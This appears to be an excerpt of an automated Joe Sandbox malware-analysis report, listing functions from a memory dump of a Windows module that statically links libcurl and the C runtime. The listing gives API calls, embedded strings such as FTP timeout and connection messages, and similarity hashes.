Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: inet_pton$___from_strstr_to_strchr
String ID: /
API String ID: 1475684856-2043925204
Opcode ID: eee6e752fd65d7145f0f56a5990a1a1d190b4d472656cf0a15dc017745d1ea8f
Instruction ID: e7f19a264151a2e16f5a9ae67d094739493c184d1246e6eada169ab2cfe1eb08
Opcode Fuzzy Hash: eee6e752fd65d7145f0f56a5990a1a1d190b4d472656cf0a15dc017745d1ea8f
Instruction Fuzzy Hash: 62C1A2F1A007469BDB11DF78CD466ABBBF4EF09200F0401A9ED69D7641EB39E514CBA2

Function 6B6CCD00 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 166networkCOMMON

Download Yara Rule

APIs

WSAGetLastError.WS2_32(?,?,?,?,?,?,?,?,?,?,6B6CD060,?,?,6B6CBEF5), ref: 6B6CCE4D

Strings

We got a 421 - timeout!, xrefs: 6B6CCE70
FTP response timeout, xrefs: 6B6CCE98
FTP response aborted due to select/poll error: %d, xrefs: 6B6CCE54

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: ErrorLast
String ID: FTP response aborted due to select/poll error: %d$FTP response timeout$We got a 421 - timeout!
API String ID: 1452528299-2064316097
Opcode ID: 0bb0ecf8a2f90b5623ebcc2ef355cd76d95ea3456760cfb272d21bd77b8442f2
Instruction ID: 5a71750539b3b68a226b8c8953bc958952d27f2ebd5cc9cfba46b27011950fe4
Opcode Fuzzy Hash: 0bb0ecf8a2f90b5623ebcc2ef355cd76d95ea3456760cfb272d21bd77b8442f2
Instruction Fuzzy Hash: 1251B4B6E012099FDB108F68DC40BAFBBB5FF49315F1001B6E81997250E7399A51CBE2

Function 6B6CCB00 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 101networkCOMMON

Download Yara Rule

APIs

getsockname.WS2_32(BB830100,?,?), ref: 6B6CCB43
accept.WS2_32(?,?,00000080), ref: 6B6CCB6B

Part of subcall function 6B6F06B0: curl_mvsnprintf.LIBCURL(?,00000801,00000000,$lnk), ref: 6B6F06EF
Part of subcall function 6B6F06B0: curl_msnprintf.LIBCURL(?,00000004,...,?,?,?,00000E20), ref: 6B6F072F

Part of subcall function 6B6EA660: ioctlsocket.WS2_32(00000000,8004667E,TElk), ref: 6B6EA67A

Strings

Connection accepted from server, xrefs: 6B6CCBAB
Error accept()ing server connect, xrefs: 6B6CCB87

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: acceptcurl_msnprintfcurl_mvsnprintfgetsocknameioctlsocket
String ID: Connection accepted from server$Error accept()ing server connect
API String ID: 1634289926-2331703088
Opcode ID: 60b7e900826d5f6cc0cb1874e2900e16fa54baad64253a9e968bd4b17a532e8a
Instruction ID: ada5297b166b2fa2c4d7e13e662700ac1c9cfcb76f404c4c0407657e0163353c
Opcode Fuzzy Hash: 60b7e900826d5f6cc0cb1874e2900e16fa54baad64253a9e968bd4b17a532e8a
Instruction Fuzzy Hash: 0031CAB1A00214ABDB10DF78DC81BEEB7B8EF45315F0042A6FC5DA7181DF355A548BA5

Function 6B71D007 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(00000000,00000000,8hlk,?,6B71CF35,8hlk,6B73E6B8,0000000C,6B71CFE7,6B73E430), ref: 6B71D05D
GetLastError.KERNEL32(?,6B71CF35,8hlk,6B73E6B8,0000000C,6B71CFE7,6B73E430), ref: 6B71D067
__dosmaperr.LIBCMT ref: 6B71D092

Strings

8hlk, xrefs: 6B71D00C

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: CloseErrorHandleLast__dosmaperr
String ID: 8hlk
API String ID: 2583163307-1094126001
Opcode ID: 112f1eb2349d3e637fa66062201c53ad3543ef5defb52f54f48726d4c4a92279
Instruction ID: 1e54765ceb3e35325045d6710ad986ea782c0ea6bb4879c3f9f9987a5a20f32b
Opcode Fuzzy Hash: 112f1eb2349d3e637fa66062201c53ad3543ef5defb52f54f48726d4c4a92279
Instruction Fuzzy Hash: 87014833A4D1682AD7241238864E72D279D4B82774F1A01BDF8288B2C1DB79D88249B4

Function 6B6C90C0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 30libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6B6FACC0: GetModuleHandleA.KERNEL32(kernel32,?,00000002,6B6FAEAE), ref: 6B6FACCE

GetProcAddress.KERNEL32(00000000,InitSecurityInterfaceA), ref: 6B6C90FD

Strings

security.dll, xrefs: 6B6C90DD, 6B6C90E5
InitSecurityInterfaceA, xrefs: 6B6C90F7
secur32.dll, xrefs: 6B6C90D8

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: InitSecurityInterfaceA$secur32.dll$security.dll
API String ID: 1646373207-3788156360
Opcode ID: e011e7b2127639d885e145f53f687ff43bf6dae188350a6def1bb71b317858d1
Instruction ID: cc78bae1831477c370832731a2dd850b2f24cd7a7889d4db4c3b572d7ea28ec5
Opcode Fuzzy Hash: e011e7b2127639d885e145f53f687ff43bf6dae188350a6def1bb71b317858d1
Instruction Fuzzy Hash: ACF065F07102426AEF051A354D1B75722659B6274EF8084FAB910D63C7EF3CD5009A11

Function 6B71A96C Relevance: 6.1, APIs: 4, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00650575f624f1f023d20d2eabc0252473de6f364ff1646ea5faa1bfd9524979
Instruction ID: e4ae0c13299919df07da482685717d52a29d8b6d90908ed24e2d1c1163d101d0
Opcode Fuzzy Hash: 00650575f624f1f023d20d2eabc0252473de6f364ff1646ea5faa1bfd9524979
Instruction Fuzzy Hash: BA4106B1A48744AFD3149F38CE05B9ABBF9EB88710F14457AF121DB680E778D98487A0

Function 6B724DB7 Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6B724E87
_free.LIBCMT ref: 6B724EB0
SetEndOfFile.KERNEL32(00000000,6B71D700,00000000,?,?,?,?,?,?,?,?,6B71D700,?,00000000), ref: 6B724EE2
GetLastError.KERNEL32(?,?,?,?,?,?,?,6B71D700,?,00000000,?,?,?,?,00000000,?), ref: 6B724EFE

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: fab162c8438db600f8aa5f4934b79bf997fcd5468bf1ed5cd054410d70ea0b7b
Instruction ID: 327456f4ab4e78f391ed27c79d65cd1f87291cb16060532aae433f439f9f5765
Opcode Fuzzy Hash: fab162c8438db600f8aa5f4934b79bf997fcd5468bf1ed5cd054410d70ea0b7b
Instruction Fuzzy Hash: E441E872D04615AFEB119BB4CF4AB8D37B9EF89724F180161F624AB290E73CCA409771

Function 6B71F53B Relevance: 6.1, APIs: 4, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,6B7137F2,?,00000000,00000000,?,6B7184AA,6B718987,00000000,?,00000000), ref: 6B71F540
_free.LIBCMT ref: 6B71F59D
_free.LIBCMT ref: 6B71F5D3
SetLastError.KERNEL32(00000000,00000015,000000FF,?,6B7184AA,6B718987,00000000,?,00000000), ref: 6B71F5DE

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 72ad664269fd80eee0af713f7236fccf8bc039e75db700ab93f28bd85cb57e1d
Instruction ID: 14dab89881d43442fae6f030c3b6eb32ce262aec68d8888877e9c5cb4dba5b8b
Opcode Fuzzy Hash: 72ad664269fd80eee0af713f7236fccf8bc039e75db700ab93f28bd85cb57e1d
Instruction Fuzzy Hash: 4011A97220C1016FDB156E788FAAE2F22699BC6779B2C0275F238DE1D5EF2DC8114130

Function 6B71F692 Relevance: 6.1, APIs: 4, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,?,00000000,6B711F4E,6B718951,6B718465,?,00000000,?,?,?,?,?,?,?,CMnk), ref: 6B71F697
_free.LIBCMT ref: 6B71F6F4
_free.LIBCMT ref: 6B71F72A
SetLastError.KERNEL32(00000000,00000015,000000FF,?,?,?,?,?,?,?,CMnk,6B718987,00000000,?,?,0000000A), ref: 6B71F735

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: ErrorLast_free
String ID:
API String ID: 2283115069-0
Opcode ID: 21bdd52626f3ac5da70a95bc7977f9f2dc1224888168cd0c38bc26e595e88558
Instruction ID: d812feb6ad1557dcfe5180d9e30a794d1787092ed2f881690c4fa3ebabfe3ff4
Opcode Fuzzy Hash: 21bdd52626f3ac5da70a95bc7977f9f2dc1224888168cd0c38bc26e595e88558
Instruction Fuzzy Hash: AD11CC3220C5016ED71125788FAAE1F26699BC6779B2C0275F539DE1E5EF3DCC114530

Function 6B6FE5D0 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(6B6EF03B,?,6B6C669E,6B6EF03B,?,?,?,?), ref: 6B6FE5E5
__alldvrm.LIBCMT ref: 6B6FE5FE
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6FE627
GetTickCount.KERNEL32 ref: 6B6FE642

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: CountCounterPerformanceQueryTickUnothrow_t@std@@@__alldvrm__ehfuncinfo$??2@
String ID:
API String ID: 1296068966-0
Opcode ID: f7355184a9df6e9760525add7f3249bdeedc499556cbae096beb39c87cfa10c9
Instruction ID: d0c4c84ca8c2a4052344112868b9c7d58005e9153bdf37b92fdd47c478770901
Opcode Fuzzy Hash: f7355184a9df6e9760525add7f3249bdeedc499556cbae096beb39c87cfa10c9
Instruction Fuzzy Hash: F0118F72A00208AFDB149FA8DD85B69BFF9EB49208F2081BBB90CD7250D6769D11CB40

Function 6B7285FF Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,6B725102,00000000,00000001,00000000,00000000,?,6B71E891,?,6B7192EA,00000000), ref: 6B728616
GetLastError.KERNEL32(?,6B725102,00000000,00000001,00000000,00000000,?,6B71E891,?,6B7192EA,00000000,?,00000000,?,6B71EDE5,?), ref: 6B728622

Part of subcall function 6B7285E8: CloseHandle.KERNEL32(FFFFFFFE,6B728632,?,6B725102,00000000,00000001,00000000,00000000,?,6B71E891,?,6B7192EA,00000000,?,00000000), ref: 6B7285F8

___initconout.LIBCMT ref: 6B728632

Part of subcall function 6B7285AA: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,6B7285D9,6B7250EF,00000000,?,6B71E891,?,6B7192EA,00000000,?), ref: 6B7285BD

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,?,6B725102,00000000,00000001,00000000,00000000,?,6B71E891,?,6B7192EA,00000000,?), ref: 6B728647

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 0e59e53d5547cee780dba3cd453089248bd53cac4d8b1b6bf5563cfab45b20f6
Instruction ID: 5241c5bf5dfe7aad8811c0beb5f19ef03b52470219e5743fce7a1918cdb956a4
Opcode Fuzzy Hash: 0e59e53d5547cee780dba3cd453089248bd53cac4d8b1b6bf5563cfab45b20f6
Instruction Fuzzy Hash: 63F0C037500154BFCF221F95CD09A8E3F76EF493A1F084561FE2995221DB36D960DBA0

Function 6B6E83D0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

Part of subcall function 6B6C14E0: EnterCriticalSection.KERNEL32(?,?,00000000,?,?,?,6B6D1C62,?,00000000), ref: 6B6C15E0
Part of subcall function 6B6C14E0: LeaveCriticalSection.KERNEL32(?,?,?,6B6D1C62,?,00000000), ref: 6B6C15F3
Part of subcall function 6B6C14E0: closesocket.WS2_32(000006FC), ref: 6B6C1642

curl_msnprintf.LIBCURL(?,00000100,Connection #%ld to host %s left intact,?,?), ref: 6B6E8690

Strings

Connection #%ld to host %s left intact, xrefs: 6B6E8685
%s, xrefs: 6B6E86CD

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: CriticalSection$EnterLeaveclosesocketcurl_msnprintf
String ID: %s$Connection #%ld to host %s left intact
API String ID: 283241466-118628944
Opcode ID: 78a19c4e8a4486e3ed6caf266d4d4b124ae1438ff579d9f307f3038f5c2f40a2
Instruction ID: 6c4145733356e1eb89cd6ccec62f6ac6893e58a81052919a19c7f6e40e30ac69
Opcode Fuzzy Hash: 78a19c4e8a4486e3ed6caf266d4d4b124ae1438ff579d9f307f3038f5c2f40a2
Instruction Fuzzy Hash: 22A116F0605B01AFD721CF34CC45BDAB7A4BF05309F0001A9E869562A1DB79A656CFB5

Function 6B6CAE10 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 242COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 6B6CAE35

Strings

Can't get the size of %s, xrefs: 6B6CAF14
Can't open %s for writing, xrefs: 6B6CAE9E

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: ___from_strstr_to_strchr
String ID: Can't get the size of %s$Can't open %s for writing
API String ID: 601868998-3544860555
Opcode ID: f87bde237729b2706f5c81bd76d1b0069a49f0c9fff56d744e090df69f421e58
Instruction ID: 69b91b9017d03bc078022b9f65c384101cd8179e874167f93ec4a21b0b4461a2
Opcode Fuzzy Hash: f87bde237729b2706f5c81bd76d1b0069a49f0c9fff56d744e090df69f421e58
Instruction Fuzzy Hash: 5B81B2F1F002089BDB14DFB8DD81AEEB7F5EF88304F14417AE91A97200EB7969558B52

Function 6B6C6020 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 173COMMON

Download Yara Rule

APIs

curl_strnequal.LIBCURL(Set-Cookie:,00000000,0000000B,?,?,?,00000000), ref: 6B6C615B

Strings

none, xrefs: 6B6C6054, 6B6C605C
Set-Cookie:, xrefs: 6B6C6156

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_strnequal
String ID: Set-Cookie:$none
API String ID: 482932555-3629594122
Opcode ID: 97126a36848ffee822a02ccd78b004c995358694d279cc1838a2ff60cd337b75
Instruction ID: 7815894970f8d6a45d1b01348f483cc506bdb2f79d794b3bfcc1c3f09c56cc7b
Opcode Fuzzy Hash: 97126a36848ffee822a02ccd78b004c995358694d279cc1838a2ff60cd337b75
Instruction Fuzzy Hash: 785108F1A083856AEB014A385D467BB3FA5DF12249F0800F5ED55AB243EB6AC545C2AB

Function 6B6D8840 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

Part of subcall function 6B6D87E0: curl_msnprintf.LIBCURL(?,00000007,:%u,?,00000000,?,?,?,6B6D7CB2,?,?,?,00000106,?,00000000), ref: 6B6D8830

curl_msnprintf.LIBCURL(?,00000007,:%u,?,0000002A,?,?,?,?,?,00000000,00000000), ref: 6B6D88CF

Strings

:%u, xrefs: 6B6D88C7
Hostname in DNS cache was stale, zapped, xrefs: 6B6D8966

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_msnprintf
String ID: :%u$Hostname in DNS cache was stale, zapped
API String ID: 1809024409-2924501231
Opcode ID: 9cc23f4a3e3c2cdc0b4d8feefad321df504e43a13763ffa8555770b8a485b1bf
Instruction ID: 554eaca144e87772c956d541756a4b81f7e53b661c20c88d9321454ad56736ee
Opcode Fuzzy Hash: 9cc23f4a3e3c2cdc0b4d8feefad321df504e43a13763ffa8555770b8a485b1bf
Instruction Fuzzy Hash: FD4147B1A00209AFCF15DF38CC45BEAB778EF05304F0052E9E99957211DB39AA55CFA1

Function 6B6D4080 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 6B6FE5D0: QueryPerformanceCounter.KERNEL32(6B6EF03B,?,6B6C669E,6B6EF03B,?,?,?,?), ref: 6B6FE5E5
Part of subcall function 6B6FE5D0: __alldvrm.LIBCMT ref: 6B6FE5FE
Part of subcall function 6B6FE5D0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6FE627

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6B6D40E3

Strings

Too old connection (%ld seconds), disconnect it, xrefs: 6B6D40FF
Connection %ld seems to be dead!, xrefs: 6B6D415B

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$CounterPerformanceQuery__alldvrm
String ID: Connection %ld seems to be dead!$Too old connection (%ld seconds), disconnect it
API String ID: 3283211967-2324667105
Opcode ID: fd2258ae2f43356b9b79d8b6490606914269165f374383a617943b4f14b536b4
Instruction ID: 4cd36ed210fb7a371aa42bfc87081d96b8acae18c1790b393b70dd354bfbf160
Opcode Fuzzy Hash: fd2258ae2f43356b9b79d8b6490606914269165f374383a617943b4f14b536b4
Instruction Fuzzy Hash: 943139B1E04205ABE7105F388C43BF6B769EB55328F5002A4F82C672C2E7B969A583D5

Function 6B6EDB40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

curl_slist_append.LIBCURL(00000000,Content-Type: application/dns-message,0000013C,00000000,00000440,?,00000000,00000000,?,6B6D8617,00000000,00000000,?,00000000), ref: 6B6EDB87
curl_slist_free_all.LIBCURL(?,?,?,?,?,?,?,?,?,?), ref: 6B6EDC0D

Strings

Content-Type: application/dns-message, xrefs: 6B6EDB74

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_slist_appendcurl_slist_free_all
String ID: Content-Type: application/dns-message
API String ID: 2220803400-4173715026
Opcode ID: f3822b394d4e1a50029ab220be55157be010b6bd24f4ff86c99671e1f5885ceb
Instruction ID: 5596a46ba9fbd2f6600c03d417bf308fc137734a47f9cca09214730c021990e9
Opcode Fuzzy Hash: f3822b394d4e1a50029ab220be55157be010b6bd24f4ff86c99671e1f5885ceb
Instruction Fuzzy Hash: 4D21E5F2944B04ABE7118E70EC41BE7B7EDFF44348F004829EA1D93291E376A511CBA0

Function 6B6CC540 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

curl_easy_strerror.LIBCURL(00000000), ref: 6B6CC579

Strings

QUIT, xrefs: 6B6CC561
Failure sending QUIT command: %s, xrefs: 6B6CC57F

Memory Dump Source

Source File: 0000000A.00000002.3325977001.000000006B6C1000.00000020.00000001.01000000.00000017.sdmp, Offset: 6B6C0000, based on PE: true

Associated: 0000000A.00000002.3325797692.000000006B6C0000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326451392.000000006B72B000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326594930.000000006B741000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000A.00000002.3326650161.000000006B744000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6b6c0000_ast.jbxd

Similarity

API ID: curl_easy_strerror
String ID: Failure sending QUIT command: %s$QUIT
API String ID: 1399792982-1162443993
Opcode ID: 9188798f5bb0a616443183278e19d67f279a0ad68efcc32fa594c58a71471519
